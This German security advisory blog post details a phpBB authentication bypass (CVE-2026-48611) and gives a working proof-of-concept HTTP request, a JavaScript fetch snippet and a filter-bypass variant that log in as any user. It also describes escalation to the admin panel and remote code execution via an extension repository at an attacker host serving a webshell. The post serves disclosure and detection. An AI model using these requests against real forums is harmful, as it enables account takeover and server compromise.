Am 10. Juni haben wir eine kritische Schwachstelle in phpBB bekannt gegeben, die es Angreifern ermöglicht, die Authentifizierung zu umgehen, jetzt bekannt als CVE-2026-48611. Dieser Beitrag ist ein Follow-up und enthält technische Details, die Exploit-Szenarien und Erkennungsmethoden erläutern.
Zur Einführung: phpBB ist eine ältere Forensoftware, die heute noch von verschiedenen technischen Communities genutzt wird. Allein der phpBB Site Showcase zählt über 6 Millionen Mitglieder. Während es in der Vergangenheit einige berüchtigte Angriffe gab, wie den „Santy“-Wurm im Jahr 2004, hatte phpBB heutzutage kaum Probleme mit Schwachstellen. Diese Offenlegung durchbricht diesen Trend.
Bei der Forschung zur Verbesserung unseres AI-Pentest-Produkts informierten uns die Agenten von Aikido Attack über einen „kritischen Authentication Bypass“ in phpBB. Anfangs waren wir etwas skeptisch. Sicherlich handelte es sich um einen Konfigurationsfehler oder einen Grenzfall, den wir bei der Einrichtung übersehen hatten. Doch das Gegenteil war der Fall.
Die entdeckte Schwachstelle funktioniert in der Standardkonfiguration und erfordert lediglich eine einzige unauthentifizierte Anfrage, um sich vollständig bei einem beliebigen Konto anzumelden. Die Anmeldung bei einem Administratorkonto könnte Ihnen die Kontrolle über das gesamte Forum ermöglichen!
Nach dieser Entdeckung meldeten wir die Schwachstelle umgehend auf HackerOne und erhielten die Bestätigung, dass sie in weniger als 9 Minuten Triage wurde!
Vier Tage später erschien ein Patch in Version 3.3.17, der die Schwachstelle behob. Wenn Sie ein phpBB-Forum verwalten, aktualisieren Sie so bald wie möglich auf diese Version, falls Sie dies noch nicht getan haben.
Wir werden nun untersuchen, welche Teile des Codes anfällig waren und wie sie ausgenutzt werden konnten. Spoiler: Es ist nicht der wahnsinnig komplizierte Exploit, den man vielleicht erwarten würde…
Authentication Bypass
Dies hängt alles damit zusammen, wie genau der Anmeldevorgang in phpBB funktioniert. Nicht der Haupt-Login-Flow, sondern speziell die „Login-Link“-Funktion. Beim Verbinden mit externen Diensten wie Google oder GitHub OAuth dient diese Funktion dazu, das Konto mit einem bestehenden Konto in der phpBB-Instanz zu verknüpfen oder ein neues zu registrieren.
Wenn Sie es mit einem bestehenden Konto verbinden möchten, werden Sie aufgefordert, sich mit dem mode=login_link Query-Parameter anzumelden. Nach dem Login wird das OAuth-Konto dann durch das Absenden verbunden.
Der Callback wird von ucp_login_link.php behandelt und sucht zuerst nach login_link_* Daten als Query-Parameter, die nicht leer sein dürfen. Diese werden hier extrahiert:
class ucp_login_link {
function main($id, $mode) {
...
$data = $this->get_login_link_data_array();
if (empty($data)) {
$login_link_error = $user->lang['LOGIN_LINK_NO_DATA_PROVIDED'];
}
...
}
}
protected function get_login_link_data_array() {
...
foreach ($var_names as $var_name) {
if (strpos($var_name, 'login_link_') === 0) {
$key_name = substr($var_name, $string_start_length);
$login_link_data[$key_name] = $request->variable($var_name, '', false, \phpbb\request\request_interface::GET);
}
}Glücklicherweise lässt sich dies leicht umgehen, indem man Dummy-Daten wie login_link_aikido=1. Dadurch wird der $data nicht leer, und wir können den Prozess fortsetzen.
Weiter unten im Code bemerken wir etwas Besonderes. Wir haben Kontrolle über den auth_provider Query-Parameter:
// Verwende den angeforderten auth_provider, auch wenn er sich vom konfigurierten unterscheidet
$provider_collection = $phpbb_container->get('auth.provider_collection');
$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));Der Wert ist normalerweise nur auf oauth, aber wir können ihn vollständig kontrollieren. Er soll dem phpBB-Server mitteilen, welcher Provider für die Authentifizierungsprüfung verwendet werden soll, zum Beispiel, wenn sowohl eine lokale Datenbank als auch eine OAuth-Authentifizierung konfiguriert sind. Doch was passiert, wenn wir andere Werte angeben?
phpBB definiert all diese als Klassen unter phpbb/auth/provider. Es gibt eine namens apache.php die sehr einfach ist, ein wenig zu einfach:
class apache extends base {
public function login($username, $password) {
$php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);
$php_auth_pw = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);
if (!empty($php_auth_user) && !empty($php_auth_pw)) {
// Basic auth username must match submitted username
if ($php_auth_user !== $username) {
return array('status' => LOGIN_ERROR_USERNAME, ...);
}
// Look up user in database
$sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type
FROM ' . USERS_TABLE . "
WHERE username = '" . $this->db->sql_escape($php_auth_user) . "'";
$result = $this->db->sql_query($sql);
$row = $this->db->sql_fetchrow($result);
$this->db->sql_freeresult($result);
if ($row) {
// User inactive
if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {
return array('status' => LOGIN_ERROR_ACTIVE, ...);
}
// Successful login
return array('status' => LOGIN_SUCCESS, ...);
}Sie überprüft, ob der gesendete Benutzername mit PHP_AUTH_USER (dekodiertem Basis Authentifizierungs-Benutzernamen) übereinstimmt, sucht den Benutzer und gibt dann einfach LOGIN_SUCCESSzurück. Aber eines fehlt: eine Passwortprüfung!
Herzlichen Glückwunsch, Sie haben gerade einen kritischen Authentifizierungs-Bypass in phpBB gefunden! Indem wir einen unerwarteten Provider wie apachewählen, können wir das Passwort umgehen und uns als beliebiger Benutzer anmelden.
Um Missverständnisse auszuräumen: Die Maintainer haben hier nicht einfach „vergessen“, eine Passwortprüfung hinzuzufügen. Die vorgesehene Funktionalität des apache Providers geht davon aus, dass die Authentifizierung vom Apache-Proxy mit .htpasswdübernommen wird und jede Anfrage zuerst diesen durchlaufen muss. phpBB vertraut in diesem Fall einfach dem Benutzernamen, der im Basic-Authentifizierungs-Header übermittelt wird.
Was wir hier getan haben, war, den apache Provider auszulösen, ohne dass Apache konfiguriert werden musste, und zwar über eine Funktion, die nur für oauthkonzipiert ist. In diesem Fall wird der Client direkt zum „vertrauenswürdigen Proxy“, und wir können jeden gewünschten Benutzernamen senden.
Wir können also eine Anfrage stellen, die den Login-Link-Flow mit gültigen Daten und einem Benutzernamen unserer Wahl auslöst, aber den Handler auf apache setzen, um die Passwortprüfung zu umgehen. Benutzernamen sind auf phpBB-Instanzen nicht schwer zu finden, was es einfach macht, sich als Administrator oder Moderator anzumelden.
All dies funktioniert in der Standardkonfiguration von phpBB, was es umso gefährlicher macht
Proof of Concept
Die Reproduktion dieser Schwachstelle ist nicht schwierig. Auf jeder lokalen phpBB-Instanz zeigt die folgende HTTP-Anfrage einen Bypass zum Einloggen in den admin Benutzer (Base64-kodiert im Autorisierung: Header wie admin:x zu YWRtaW46eA==).
POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1\nHost: phpbb.local\nContent-Length: 49\nAuthorization: Basic YWRtaW46eA==\nContent-Type: application/x-www-form-urlencoded\n\nlogin_username=admin&login_password=x&login=LoginEine erfolgreiche Antwort setzt die Cookies und leitet zur Startseite weiter. Der Angreifer ist dann vollständig im Zielkonto angemeldet.
HTTP/1.1 302 Found\nServer: Apache/2.4.67 (Debian)\nX-Powered-By: PHP/8.2.31\nSet-Cookie: phpbb_f4xf4_u=1; path=/; domain=phpbb.local; HttpOnly\nSet-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly\nSet-Cookie: phpbb_f4xf4_sid=4c512fa6d44b00f3fe760603e7a84257; path=/; domain=phpbb.local; HttpOnly\nSet-Cookie: phpbb_f4xf4_u=2; path=/; domain=phpbb.local; HttpOnly\nSet-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly\nSet-Cookie: phpbb_f4xf4_sid=5e331defa66c2fc6db386f7c9abd0c55; path=/; domain=phpbb.local; HttpOnly\nLocation: http://phpbb.local/index.php/\nContent-Length: 0\nContent-Type: text/html; charset=UTF-8Um die obige Anfrage zu generieren, kann der folgende JavaScript-Code in der DevTools-Konsole jeder Instanz ausgeführt werden:
const TARGET_USER = "admin";
await fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1', {
method: "POST",
headers: {
Authorization: `Basic ${btoa(TARGET_USER + ":x")}`
},
body: new URLSearchParams({login_username: TARGET_USER, login_password: "x", login: "Login"})
});Das anschließende Neuladen der Webseite zeigt, dass der Angreifer im Zielkonto angemeldet ist:
Eskalation zum Administrations-Kontrollpanel
Wir sind im Administratorenkonto angemeldet und können unter deren Identität Beiträge verfassen, aber wenn wir versuchen, das Forum tatsächlich über das Administration Control Panel zu verwalten, stoßen wir auf eine zweite Passwortabfrage:
Das Panel überprüft erneut, ob wir das Passwort des Benutzers haben, obwohl wir bereits angemeldet sind. Obwohl der erste Impuls sein mag, unseren Exploit erneut zu verwenden, um auch diese Anmeldeüberprüfung zu umgehen, basiert sie auf einer völlig separaten Implementierung, die für dasselbe Problem nicht anfällig ist. Wir benötigen ein Passwort, um auf dieses Panel zuzugreifen.
Aus diesem Grund gingen sowohl der Betreuer von phpBB als auch Aikido zunächst davon aus, dass die Auswirkungen dieses Problems auf die Nachahmung beliebiger Benutzer beschränkt waren.
Direkt nach dem Teilen dieses Blogbeitrags auf X erwähnte der Benutzer „Labomen“, dass eine Eskalation vom User Control Panel (UCP, im Wesentlichen „persönliche Einstellungen“) zum Administration Control Panel (ACP) als Administrator ohne die Notwendigkeit eines Passworts möglich ist.
> Der ACP-Zugriff kann trivial erlangt werden, da man sich auf echten Foren fast immer als Admin in der Haupt-Admin-Gruppe mit der Gründerrolle anmelden kann, ein neues Benutzerkonto erstellen, das man besitzt, es zu einem Admin machen (ja, das Hinzufügen zu einer Gruppe erfordert KEIN ACP), dann meldet man sich einfach mit seinem Konto an und gelangt ins ACP, da man das Passwort kennt.
Das war besorgniserregend. Wir haben die Idee schnell lokal reproduziert und bestätigt, dass dies tatsächlich der Fall war! Der Gründer-Benutzer ist der erste Benutzer, der in der phpBB-Instanz registriert wurde, und hat die ADMINISTRATOREN Rolle standardmäßig. Speziell diese Kombination von Berechtigungen ist ausnutzbar, da der Gründer andere Benutzer zur Administratorengruppe hinzufügen kann. Nicht nur das, sie können dies auch tun vom User Control Panel aus!
Der Angreifer kann ein eigenes Konto registrieren und diesem Konto dann über dieses Benutzer hinzufügen-Panel Administratorrechte gewähren.
Danach sehen sie den Link zum Administration Control Panel in ihrem eigenen Konto, und da es ihr eigenes Konto ist, kennen sie das Passwort, um sich vollständig anzumelden.
Von hier aus ist die gesamte Instanz kompromittiert. Alle Einstellungen können bearbeitet werden. Um jedoch noch weiter zu gehen, können wir auch Auswirkungen auf das zugrunde liegende System erzielen.
Remote Code Execution
Das Folgende ist nur auf dem 4.x Beta-Branch möglich, nicht auf dem gängigsten 3.x Branch. Wir wollten jedoch trotzdem die vollen Auswirkungen dieser Schwachstelle aufzeigen.
In Version 4.0.0-a2 wurde ein sogenannter Extensions Catalog hinzugefügt, der die manuelle Methode der Installation von phpBB-Erweiterungen über das Dateisystem ersetzt.
Erweiterungen müssen nicht mehr manuell in den ext/ Ordner kopiert werden, stattdessen können Sie Repository-URLs konfigurieren und diese direkt über die Web-UI abrufen!
Obwohl dies eine angenehme Administratorerfahrung ist, birgt diese Funktion ein Risiko. Es bedeutet, dass jeder kompromittierte Administrator im Web plötzlich beliebige Erweiterungen installieren kann. Nicht nur aus vertrauenswürdigen Quellen, sondern durch Konfiguration der Einstellungen auch von jeder URL, die zu den Repositories hinzugefügt wurde:
Nach dem Speichern der Einstellungen wird eine Anfrage an https://attacker.tld/packages.json gestellt, um alle verfügbaren Erweiterungen abzurufen. Der Angreifer kann eine Liste von Erweiterungen zurückgeben, die er angeblich hostet, welche dann im Katalog angezeigt werden. Von hier aus kann der Angreifer als Administrator seine bösartige Erweiterung installieren, um beliebige PHP-Dateien in den ext/ Ordner schreiben zu lassen.
Wir haben einen bösartigen Server erstellt, um Erweiterungen mit einer Webshell zu hosten, und bei Konfiguration wird die Erweiterung des Angreifers aufgelistet:
Nach der Installation und Aktivierung kann der Angreifer zu seiner Webshell navigieren, um Unauthenticated Remote Code Execution auf der Standardkonfiguration der neuesten Version zu erreichen:
Indikatoren für Kompromittierung
Überprüfen Sie die Request-Logs auf POST-Anfragen, die auth_provider=apache und mode=login_link Query-Parameter zusammen enthalten. Dies ist der häufigste Exploit. Siehe die Beispielanfrage oben.
Beachten Sie jedoch, dass, da phpBB beide Parameter auch aus dem POST-Body liest, diese Parameter Vorrang vor GET-Parametern haben. Eine Filter-Bypass-Anfrage kann dann wie eine reguläre mode=login, während sie tatsächlich mode=login_link im Body ausführt. login_link_* ist immer noch ein erforderlicher Query-Parameter, daher kann er als Indikator für eine verdächtige Anfrage verwendet und dann manuell weiter analysiert werden. Es kann so aussehen:
POST /ucp.php?mode=login&login_link_ANYTHING=1 HTTP/1.1\nHost: phpbb.local\nContent-Length: 86\nContent-Type: application/x-www-form-urlencoded\nAuthorization: Basic YWRtaW46eA==\n\nlogin_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=LoginDas ist die Art von Schwachstellen, die Aikido Attack bei einem normalen Scan aufdeckt. Es sucht nach Auth-Bypässen, IDORs und Logikfehlern, so wie es ein echter Angreifer tun würde, und validiert dann jeden einzelnen, sodass Sie nur sehen, was tatsächlich ausnutzbar ist. Richten Sie es auf Ihre eigenen Anwendungen und sichern Sie diese schnell.
Zeitplan
- 2. Juni 2026, 20:22 Uhr – Bericht eingereicht beim https://hackerone.com/phpbb VDP-Programm
- 2. Juni 2026, 20:31 Uhr – Der Bericht wurde vom phpBB-Team Triage (ganz richtig, 9 Minuten!)
- 6. Juni 2026, 16:26 Uhr – Version 3.3.17 mit einem Patch wird veröffentlicht
- 10. Juni 2026, 12:33 Uhr – Wir veröffentlichen eine erste Ankündigung, um Nutzer zu warnen
- 10. Juni 2026, 19:33 Uhr – Die phpBB-Maintainer baten uns, 4 Wochen mit der Veröffentlichung technischer Details zu warten
- 4. Juli 2026, 02:45 Uhr – Dieser technische Bericht wird veröffentlicht
